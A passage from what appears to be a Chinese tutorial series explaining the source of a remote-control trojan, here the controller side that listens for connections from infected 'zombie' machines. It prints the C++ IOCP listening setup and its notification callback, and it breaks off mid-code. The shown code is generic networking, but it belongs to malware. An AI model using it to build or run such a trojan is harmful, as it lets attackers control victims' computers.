上一节我们讲过肉机最关键的一步就是通过connect来连接指定的主控端
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
其实在次之前应当是主控端先监听相应的端口,然后肉机再来连接这个端口的
在主控端的OnInitDialog当中调用:listenPort(); //开始监听端口
// 监听端口
void CPCRemoteDlg::listenPort()
{
int nPort = ((CPCRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "ListenPort"); //读取ini文件中的监听端口
int nMaxConnection = ((CPCRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "MaxConnection"); //读取最大连接数
if (nPort == 0)
nPort = 80;
if (nMaxConnection == 0)
nMaxConnection = 10000;
Activate(nPort, nMaxConnection); //开始监听
}
我们跟进Activate函数:
void CPCRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
{
CString str;
if (m_iocpServer != NULL)
{
m_iocpServer->Shutdown();
delete m_iocpServer;
}
m_iocpServer = new CIOCPServer;
// 开启IPCP服务器 最大连接 端口 查看NotifyProc回调函数 函数定义
if (m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort))
{
char hostname[256];
gethostname(hostname, sizeof(hostname));
HOSTENT* host = gethostbyname(hostname);
if (host != NULL)
{
for (int i = 0; ; i++)
{
str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
if (host->h_addr_list[i] + host->h_length >= host->h_name)
break;
str += "/";
}
}
str.Format("监听端口: %d成功", nPort);
showMessage(true, str);
}
else
{
str.Format("监听端口: %d失败", nPort);
showMessage(false, str);
}
}
比较关键的就是m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort)
其中第一个参数NotifyProc是一个回调函数,原型为:
typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);
回调函数其实就是函数指针的一种特殊形式(二者是共性与个性,一般与个别的关系😋)
//函数指针
typedef void(_cdecl* TestRunT)(char* strHost, int nPort);
//回调函数
typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);
Initialize函数当中创建了ListenThreadProc线程用来处理端口的监听,至于怎么监听的细节就不再展开
//开启监听线程 跟进ListenThreadProc
m_hThread =
(HANDLE)_beginthreadex(NULL, // Security
0, // Stack size - use default
ListenThreadProc, // Thread fn entry point
(void*) this,
0, // Init flag
&dwThreadId); // Thread address
我们来看一下几处回调函数调用的位置:
1)一处是在OnAccept处,表示有连接到来
m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT);
2)另外比较关键的一处是在OnClientReading,对应完整接收:NC_RECEIVE_COMPLETE
if (nRet == Z_OK) //如果完整接收
{
//写入数据
pContext->m_DeCompressionBuffer.ClearBuffer();
pContext->m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
/